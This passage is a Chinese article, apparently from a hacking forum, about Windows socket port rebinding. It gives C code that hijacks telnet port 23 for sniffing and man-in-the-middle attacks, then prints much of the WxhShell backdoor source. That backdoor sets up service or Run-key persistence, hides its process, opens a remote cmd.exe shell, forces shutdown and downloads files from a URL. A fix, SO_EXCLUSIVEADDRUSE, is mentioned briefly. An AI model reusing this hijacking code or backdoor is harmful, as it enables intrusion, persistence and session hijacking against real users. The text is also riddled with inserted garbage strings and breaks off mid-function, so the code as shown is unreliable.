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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V^&*y+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e1LIk1`p g+4y^x(X@1 saddr.sin_family = AF_INET; P3: t
4^ Hj|&P/jY]* saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4&;iORw&E4 BhzD V bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <y] 67:"<v QcW8A ,\q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8"9&x}
tl- uT4|43<
G 这意味着什么?意味着可以进行如下的攻击: nAEyL+6U 8>,w8(Nt 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `H6~<9r 3>-h-
cpMX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sHc-xnd (X,i,qK/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xBA"w:< #aU!f"SS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *>KBDFI 5C9b*]-# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V7Cnu:0_ "H).2{3(x 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fDf[:A,8 DJL.P6 -W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~}}<+ JEEO :86:U 0^ #include nYjrEy)Q #include e))L&s #include 3@Mh* \;\b #include X!ruQem / DWORD WINAPI ClientThread(LPVOID lpParam); jRg
gj`o int main() 3WJk04r { =+Fb\HvX{ WORD wVersionRequested;
r!?ga DWORD ret; (Z(S?`') WSADATA wsaData; $M 8&&M BOOL val; >ep<W<b SOCKADDR_IN saddr; 31a,i2Q4 SOCKADDR_IN scaddr; \X:e9~ int err; oT):#,s SOCKET s; () _RLA SOCKET sc; dA~:L`A|X int caddsize; iVI& HANDLE mt; %S^hqC DWORD tid; 05q760I+ wVersionRequested = MAKEWORD( 2, 2 ); BsIF3sS#9 err = WSAStartup( wVersionRequested, &wsaData ); [~s+,OO9) if ( err != 0 ) { QDg5B6>$ printf("error!WSAStartup failed!\n"); @@Ybg6.+* return -1; N3|:MMl } MO8}i?u=z saddr.sin_family = AF_INET; 6iyl8uL0J #dWz,e3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Lj<TzPzg* P_1WJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hpF_@n
saddr.sin_port = htons(23); FfJp::|ddr if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qh1pX}X { FBNLszT{L printf("error!socket failed!\n"); 9{jMO return -1; +Y sGH~jX } #&}-
q
RA val = TRUE; CUI3^;&S //SO_REUSEADDR选项就是可以实现端口重绑定的 m4hkV>$d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @kFZN 6 { SKL 4U5D{ printf("error!setsockopt failed!\n"); @|anu&Hm return -1; Y,)(Q } Xfq`k/ W //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yS
W$zA, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZL6HD n! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wf\"&xwh? qPq]%G*{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;{sZDjev> { d&FXndC4F ret=GetLastError(); BV~J*e printf("error!bind failed!\n"); $vegU]-R return -1; sN[}B{+ } )[Tm[o?Y. listen(s,2); rv*{[K while(1) L3, /7 { c| ^I} caddsize = sizeof(scaddr); SsZC g#i //接受连接请求 ?Ij(B}D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lFBpNUnzU if(sc!=INVALID_SOCKET) 2 ?t@<M] { ttsR`R1.k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lvke!~# if(mt==NULL) q`c!!Lg { 2LtDS?)@ printf("Thread Creat Failed!\n"); %} `` : break; yW|J`\`^T } eJ?oz^ } lKf58
mB CloseHandle(mt); I`V<Sh^Qd } ccag8LC closesocket(s); ]].~/kC^3k WSACleanup(); t`Z'TqP R return 0; %GhI0F # } 1Toiqb/ DWORD WINAPI ClientThread(LPVOID lpParam) P8z%*/
3NF { MbRTOH SOCKET ss = (SOCKET)lpParam; oe*1jR_J`[ SOCKET sc; t eY@)F unsigned char buf[4096]; Ou_H&R SOCKADDR_IN saddr; q5(t2nNb long num; M&V'*.xz DWORD val; xS,24{-HJ DWORD ret; QRQZ{m //如果是隐藏端口应用的话,可以在此处加一些判断 9eMle?pF //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 G"<#tif9K saddr.sin_family = AF_INET; !?P8[K saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xuK"pS saddr.sin_port = htons(23); \?xM%(:<Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V"YeF:I { A(FnU: printf("error!socket failed!\n"); FCEy1^u return -1; %~!4DXrMk } 1+FVM\<& val = 100; q?}C`5%D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k[r^@| { vE:*{G;Y ret = GetLastError(); keAoJeG,J return -1; EQm{qc; } +fKOX#% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6.D|\;9{c { cpdESc9W ret = GetLastError(); S<0 &V return -1; p) 8S]p] } o$No@~%v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1h$?, { ;'7(gAE printf("error!socket connect failed!\n"); 4?R979 closesocket(sc); \d@5*q closesocket(ss); BHY8G06 return -1; VQ9A/DH/ } FzInIif while(1) *fg2bz<~[B { 28!C#.(h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AP&//b,^M //如果是嗅探内容的话,可以再此处进行内容分析和记录 CP7dn/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]fM|cN8(zM num = recv(ss,buf,4096,0); ;{ifLI0# if(num>0) s)1-xA{'. send(sc,buf,num,0); =)Xj[NNRT else if(num==0) g:Hj1!' break; ~:DL{ZeEb num = recv(sc,buf,4096,0); xKUL}>8 if(num>0) 6
VEB2F send(ss,buf,num,0); n28JWkK8 else if(num==0) [dJ!JT/X{ break; rwP#Yj[BK+ } I"Zp^j closesocket(ss); K<>kT4 closesocket(sc); e5'I W__ return 0 ; h4;kjr}h} } jK w
96 G2`z?);1b ,2FK$:M\ ========================================================== b80#75Bj> FIq'W:q: 下边附上一个代码,,WXhSHELL *#=Ij r~ nR_Zrm ========================================================== :G _ W==~9 #include "stdafx.h" 2R/|/>T v F1Z'tjj+ #include <stdio.h> LF7-??' #include <string.h> oZBD.s #include <windows.h> ^ij0<*ca9 #include <winsock2.h> bZ`v1d
(r #include <winsvc.h> K%z!#RyJ4 #include <urlmon.h> K\K& K~Z Hyb(.hlZh #pragma comment (lib, "Ws2_32.lib") 2K}49* #pragma comment (lib, "urlmon.lib") w!f2~j~ &;@L]
o #define MAX_USER 100 // 最大客户端连接数 "jL>P) #define BUF_SOCK 200 // sock buffer _Y; TS1u #define KEY_BUFF 255 // 输入 buffer tV)CDA&Z zgb$@JC #define REBOOT 0 // 重启 '_c/CNs #define SHUTDOWN 1 // 关机 'z$N{p40m 7+HK_wNi #define DEF_PORT 5000 // 监听端口 <`nShP>vl v=llg ^ #define REG_LEN 16 // 注册表键长度 @v)Z>xv #define SVC_LEN 80 // NT服务名长度 Gx C+lqH# [^hW>O=@TN // 从dll定义API !5ps,+o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Os9SfL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s)-oCT$[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TQ"XjbhU;X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &n<YmW?" 82LE9<4A // wxhshell配置信息 noWF0+% struct WSCFG { eRMN=qP.q int ws_port; // 监听端口 ~,)jZ-fw char ws_passstr[REG_LEN]; // 口令 6W
i
n!4 int ws_autoins; // 安装标记, 1=yes 0=no d/d)MoaJ*t char ws_regname[REG_LEN]; // 注册表键名 d( v"{N} char ws_svcname[REG_LEN]; // 服务名 Q|_F
P: char ws_svcdisp[SVC_LEN]; // 服务显示名 ~]KdsT(=_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 digc7;8L char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JxVGzb`8 int ws_downexe; // 下载执行标记, 1=yes 0=no Vl_6nY; char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" gFaZ ._ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D$ds[if$U, 7H Har'=T }; o}AXp@cqi !^arWH[od // default Wxhshell configuration =$'>VPQ
struct WSCFG wscfg={DEF_PORT, khy'Y&\F; "xuhuanlingzhe", NW\CEJV 1, 5H3o?x "Wxhshell", w'@gzK "Wxhshell", Nv5^2^Sc= "WxhShell Service", 'cO8& | "Wrsky Windows CmdShell Service", p(F@lL- "Please Input Your Password: ", b<W\#3~G 1, JQQyl: = " http://www.wrsky.com/wxhshell.exe", !#0)`4O "Wxhshell.exe" nb_/1{F }; $ f:uBhM r^
r+h[V // 消息定义模块 _}R$h=YD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _pdKcE\X char *msg_ws_prompt="\n\r? for help\n\r#>"; I\)`,w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; LHY7_"u# char *msg_ws_ext="\n\rExit."; $?GggP d char *msg_ws_end="\n\rQuit."; SEgw!2H char *msg_ws_boot="\n\rReboot..."; h#0n2o # char *msg_ws_poff="\n\rShutdown..."; ;$D,w char *msg_ws_down="\n\rSave to "; iK}p#"si hUMG}< char *msg_ws_err="\n\rErr!"; c9/w{}F char *msg_ws_ok="\n\rOK!"; JH?ohA Cv#aBH'N char ExeFile[MAX_PATH]; T~UDD3 int nUser = 0; +5y^c|L0 HANDLE handles[MAX_USER]; ";/]rwHa) int OsIsNt; }c,b]!: ZKi&f,:
SERVICE_STATUS serviceStatus; 'w:ugb9] SERVICE_STATUS_HANDLE hServiceStatusHandle; lelmX T}Tv}~!f // 函数声明 ucl001EK int Install(void); ?N{\qF1Mz int Uninstall(void); }3z3GU8Q- int DownloadFile(char *sURL, SOCKET wsh); X'OpR int Boot(int flag); k0Vri$x void HideProc(void); J jAxNviG int GetOsVer(void); A'EI1_3{ int Wxhshell(SOCKET wsl); C%4ed# void TalkWithClient(void *cs); 8\{!*?9! int CmdShell(SOCKET sock); ai 4 k? int StartFromService(void); eT%x(P int StartWxhshell(LPSTR lpCmdLine); D,IT>^[^7 HlE8AbEg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J&6p/'UPZ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dw
i-iA_q 'aNkU // 数据结构和表定义 Pt"K+]Ym SERVICE_TABLE_ENTRY DispatchTable[] = h8V*$ { zg jg #| {wscfg.ws_svcname, NTServiceMain}, ;+75"=[YT {NULL, NULL} 2IYzc3Z{9 }; g9C;JmU "leSQ // 自我安装 j*3;G+ int Install(void) S9dxrm? { 2$JZ(qnN char svExeFile[MAX_PATH]; *~8F.cx HKEY key; >nkVZ;tL strcpy(svExeFile,ExeFile); FG${w.e< k8 #8)d // 如果是win9x系统,修改注册表设为自启动 h3F559bw/< if(!OsIsNt) { $:s@nKgnD~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bidFBldKl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bd/A0i?C RegCloseKey(key); a8xvK;` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i[z 2'tx4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6lzjaW5h RegCloseKey(key); JE O$v|X return 0; (aYu[ML } ?e9tnk3 } cyNE} } Y1cL dQn else { $#V'm{Hh 4&E"{d
> // 如果是NT以上系统,安装为系统服务 -'c
qepC{T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HQ+{9Z8
?5 if (schSCManager!=0) 7~2_'YX>: { th{J;a SC_HANDLE schService = CreateService U)dcemQY ( Lv+{@) schSCManager, + }"+ wscfg.ws_svcname, 2*snMA wscfg.ws_svcdisp, mc]+j,d SERVICE_ALL_ACCESS, H:~bWd'iz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8cO?VH,nk SERVICE_AUTO_START, 1e\cJ{B SERVICE_ERROR_NORMAL, >FE8CH!W& svExeFile, ")8l'^Mq2 NULL, |-JG _i NULL, eX\v;~W* NULL, wXQu%F3 NULL, ~2*LWH*@ NULL r
(m3"Xu6O ); 3?E7\\/R if (schService!=0) B2r[oT R { +kWWx#L# CloseServiceHandle(schService); EUSM4djL CloseServiceHandle(schSCManager); "nr?WcA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `:'ciY|%b strcat(svExeFile,wscfg.ws_svcname); }wo:1v8J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,?LE5] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +~=a$xA[C RegCloseKey(key); jA"}\^%3 return 0; qz-
tXc, } NioqJG?p } h`U-{VIrqi CloseServiceHandle(schSCManager); 7bYwh8 } R\cx-h* } R.i]6H! w*{{bISw| return 1; W$]qo|2P } 8K2 @[TE=5 M?8sy // 自我卸载
~;?mD/0k int Uninstall(void) v[|-`e* { uWx<J3~q. HKEY key; YXo?(T.. +8<$vzB if(!OsIsNt) { L)M{S3q, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8}yrsF# RegDeleteValue(key,wscfg.ws_regname); 4evN^es'I_ RegCloseKey(key); _L=-z*a\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >4@w|7lS RegDeleteValue(key,wscfg.ws_regname); g]j&F65D RegCloseKey(key); ~AWn 1vFc return 0; 1Z 0Qkd( } <<
=cZ.HP } hXFT(J= } xjBY6Ylz else { KsGW@Ho: vcW(?4e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); In4VS:dD if (schSCManager!=0) 7zz F M { %KF I~Qk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'g<"@SS+ if (schService!=0) <IIz-6*V { }bihlyB&Q if(DeleteService(schService)!=0) { st??CX2 CloseServiceHandle(schService); n^1BtP0! CloseServiceHandle(schSCManager); q-CgXwU return 0; }\m.~$|[ } Qu#[PDhb CloseServiceHandle(schService); WS6Qp`c)e } 0]f/5jvLj CloseServiceHandle(schSCManager); 8'E7Uj } sI6*.nR } PP!/WX tJ\v>s-f return 1; <c5g-*V: } xjD$i'V+ 1
jLQij // 从指定url下载文件 PE;<0Cz\ int DownloadFile(char *sURL, SOCKET wsh) ){mqo%{SO { m2~`EL> HRESULT hr; LRw-I.z char seps[]= "/"; #"oLz"{ char *token; HjzAFXRG char *file; A;X3z-[[ char myURL[MAX_PATH]; I]+OYWp char myFILE[MAX_PATH]; },X.a@: ?*UWg[ strcpy(myURL,sURL); kbvF
9# token=strtok(myURL,seps); #'@@P6o5 while(token!=NULL) Gv]94$'J9 { <k3KCt file=token; >;"%Db token=strtok(NULL,seps); ;TC]<N.YJT } ;9#%E B*)mHSs2 GetCurrentDirectory(MAX_PATH,myFILE); H/*slqL strcat(myFILE, "\\"); Hi2JG{i strcat(myFILE, file); @/N]_2@8; send(wsh,myFILE,strlen(myFILE),0); v6wg,,T send(wsh,"...",3,0); >B``+Z^2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `*0VN(gf' if(hr==S_OK) UdcV<# return 0; P}=n^*8(I else *'?V>q, return 1; 1}Guhayy GB Vqc!d } 3QXsr< vz3olHX // 系统电源模块 jZ"j_=o@ int Boot(int flag) #zgO_H { Migl HANDLE hToken; DD TOKEN_PRIVILEGES tkp; CX2qtI8N? FQ0 ;%Z if(OsIsNt) { K[?@nl?,z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wcm'E3c, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }!r
pH{y tkp.PrivilegeCount = 1; ~Hd* Xl tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g/FT6+&T. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kc@Sw{JR#7 if(flag==REBOOT) { ~-G_c=E? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +2p}KpOsL return 0; eVX/<9> } }4piZ
ch else { DTsD<o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?b}e0C-a return 0; Z6- } YIIc@) } v=dK2FaY else { gw">xt5 if(flag==REBOOT) { M17+F?27M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3me&isKL return 0; 6~>h;wC } 2B)1
tP else { .F%jbnKd_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <Mj{pN3 return 0; NU'2QSU8 } ~$//4kES } S|KUh|=Q SY:ISzB} return 1; }Q\+w,pJgN } YUTh*`1k< pVzr]WFx // win9x进程隐藏模块 BW3Q03SW6 void HideProc(void) b&Laxki { 2dB]Lw@s AuM}L&`i^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C%ZPWOc_8 if ( hKernel != NULL ) <Voct { WuI$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A5\ Hq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n
_x+xVi% FreeLibrary(hKernel); MO| Dwuaf } P;K3T![ ={]POL\ A return; ~e)"!r } Y]`o-dV tnBCO%uG // 获取操作系统版本 Lr
d- int GetOsVer(void) II=!E { dK8dC1@,X; OSVERSIONINFO winfo; iv],:|Mbd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2 p}I GetVersionEx(&winfo); 4hfq7kq7( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O~?d;.b return 1; M^e}w!U else o9C#5%9 return 0; JrX. f } Zz QLbCV ZCBF&.! // 客户端句柄模块 KLuOg$i int Wxhshell(SOCKET wsl) z6,E}Y { U9Ea}aN SOCKET wsh; pp{p4Z struct sockaddr_in client; `PI*\t0 DWORD myID; d.Ccc/1- Wi,)a{ while(nUser<MAX_USER) G^.tAO5:f { k!bJ&} Q(b int nSize=sizeof(client); 35x]' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n0EW
U,1 if(wsh==INVALID_SOCKET) return 1; <c<!|<x fz8 41 <Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B~@Gfb>`' if(handles[nUser]==0) .A_R6~:: closesocket(wsh); ]O~$|Wk else [~G1Rz\h nUser++; vl+bc[ i~ } L(k`1E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
=}I=s@ Aeo=m}C; return 0; 9x8Vsd } %BT]h3dcSS u~JR]T // 关闭 socket a({N}ZDo void CloseIt(SOCKET wsh) Ro `Xs.X { =1VZcLNt closesocket(wsh); rQ2TPX<?a nUser--; l[%=S! ExitThread(0); Lp4F1H2t- } lOe|]pQ., P*U^,Jh< // 客户端请求句柄 IGlyx'\_ void TalkWithClient(void *cs) Y" rODk1 { jT F" nZ#u#V SOCKET wsh=(SOCKET)cs;
3Z`
wU char pwd[SVC_LEN]; 6V@_?a-K char cmd[KEY_BUFF]; @6aJh< c char chr[1]; <$a-.C5 int i,j; _2}~Vqb+ &h!O<'*2 while (nUser < MAX_USER) { 4}UJBb? F0r2=f(? if(wscfg.ws_passstr) { X8R:9q_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 59"tHb6 E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vfXNN F //ZeroMemory(pwd,KEY_BUFF); c6h+8QS i=0; ;+#Nb/M while(i<SVC_LEN) { 7`^Y*:( $"MVr5q6 // 设置超时 -XK;B--c fd_set FdRead; (plT/0=^t struct timeval TimeOut; O,vC:av FD_ZERO(&FdRead); T{-gbo`Yji FD_SET(wsh,&FdRead); lkR^2P TimeOut.tv_sec=8; Of$R+n. TimeOut.tv_usec=0; V\]j^$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @t*D<B$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ukc
7Z
OQ Tow! 5VAM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gSj0+| pwd =chr[0]; B%kC>J if(chr[0]==0xd || chr[0]==0xa) { `
vFD O$K pwd=0; WU@_aw[ break; c5 AaUza } Q"c/]Sk) i++; \i}-Y[Dg } Aho*E9VW \DBEs02 // 如果是非法用户,关闭 socket fOdqr if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }QQ 7jE } `R7dn/ X?&{<
vz send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v]H9`s#, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '=\>n(%Q utl-#Wwt/ while(1) { #sg
dMrVQ "68X+! ZeroMemory(cmd,KEY_BUFF); cu'( Hj G)M! ,
Q // 自动支持客户端 telnet标准 o`7 Z<HF j=0; :xbj&
l while(j<KEY_BUFF) { =YfzB!ld if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j(K)CHH cmd[j]=chr[0]; FUJ<gqL if(chr[0]==0xa || chr[0]==0xd) { rwio>4= cmd[j]=0; _'X break; 26 1? 8&c } Oo FMOlb.Z j++; ?E}gm> } '|), ? u?g&(h // 下载文件
4~ L1~Gk if(strstr(cmd,"http://")) { . &`YlK send(wsh,msg_ws_down,strlen(msg_ws_down),0); >}2
,2 if(DownloadFile(cmd,wsh)) /lPnf7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); =PNkzFUo else l?V#; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A"s?;hv\fS } j {2 0 else { Dv`"3 r:E4Wi{\ switch(cmd[0]) { }[drR(]`dO UIg?3J}R // 帮助 KsK]y,^Z case '?': { ;3xi.^=B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gy~2LY !} break; `-R&4%t% } v}D0t] // 安装 *QIYq case 'i': { wJp1Fl~ if(Install()) I|>.&nb send(wsh,msg_ws_err,strlen(msg_ws_err),0); J7aYi]vI else .3V L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e>.^RtDF break; |cp_V } a#[gNT~[ // 卸载 BafNFPc case 'r': { 2QEH!)lvr if(Uninstall()) |%fNLUJ) send(wsh,msg_ws_err,strlen(msg_ws_err),0); *A8Et5HAv else l{ql'm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5K682+^5 break; v&7<f$5 } 8 4reyA // 显示 wxhshell 所在路径 .3XiL=^~Qp case 'p': { rnp; R char svExeFile[MAX_PATH]; /0Qo( strcpy(svExeFile,"\n\r"); *O @Zn strcat(svExeFile,ExeFile); !b4AeiL>w send(wsh,svExeFile,strlen(svExeFile),0); @,;h!vB*= break; m|x_++3 } :hW(2=% // 重启 YWD gRb case 'b': { j8bA"r1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S~ S>62 if(Boot(REBOOT))
"^ BA5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); m_Z(osoE#W else { h&v].l closesocket(wsh); 2_o\Wor# ExitThread(0); 9) $[W } U:eX^LE7 break; I.|b:c
xN } ;L#RFdh // 关机 B]}gfVO case 'd': { a}|<*!4zUQ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9IrCu?n9b if(Boot(SHUTDOWN)) Mqk|H~l5c send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 BU#THDm else { Eyk:pnKJb closesocket(wsh); /YU8L ExitThread(0); 2Q@Jp`#,4 } Vm8dX? break; "oFi+']* } .
.S3-(xW // 获取shell ?p 4iXHE case 's': { V>E7!LIn. CmdShell(wsh); c&wiTvRV closesocket(wsh); Nge@8 ExitThread(0); C?]eFKS." break; MZcvr 9y } Y8IC4:EO // 退出 J|be'V#]1 case 'x': { #902x*Z'c" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R+e)TR7+ CloseIt(wsh); Dd/]?4 break; 9n_RkW5g } h05FR[</ // 离开 =ud~ case 'q': { %hZX XpuO send(wsh,msg_ws_end,strlen(msg_ws_end),0); AcH!KbYf closesocket(wsh); I*(kv7(c0 WSACleanup(); n_ ?+QF exit(1); ,O-_Pv break; .m>Qlh
} 6GVAR } @2d9
7.X } M.Tp)ig\# DTo"{! // 提示信息 h"Wpb}FT if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $F X$nY } gGBRfq> } aK| #Yp&yi
} return; fO^s4gWTg } _dCDT$^&r C"0
VOb // shell模块句柄 )D'#>!Y int CmdShell(SOCKET sock) be]/ROP>H { 3&{6+ A STARTUPINFO si; 'W54 T ZeroMemory(&si,sizeof(si)); F`(;@LO si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "cly99t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZF#n(Y? PROCESS_INFORMATION ProcessInfo; 'Z9UqEGV char cmdline[]="cmd"; a MFUj+^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kRb JK return 0; p}/D{|xO } aUc#,t;Qd "-MB U // 自身启动模式 4^nHq 4_ int StartFromService(void) (e!Yu#- { SAf)#HXa typedef struct /n>vPJvz { G973n DWORD ExitStatus; *14:^neoI DWORD PebBaseAddress; -O=xgvh" DWORD AffinityMask; Y$c7uA:4 DWORD BasePriority; @]}/vsI m ULONG UniqueProcessId; _Ye.29 ULONG InheritedFromUniqueProcessId; P0OMu/ } PROCESS_BASIC_INFORMATION; -wl&~}%M dV'^K%# PROCNTQSIP NtQueryInformationProcess; eX}aa0 '/0e!x/8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "zTy_0[; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h&d"| < gp $Rf9\ HANDLE hProcess;
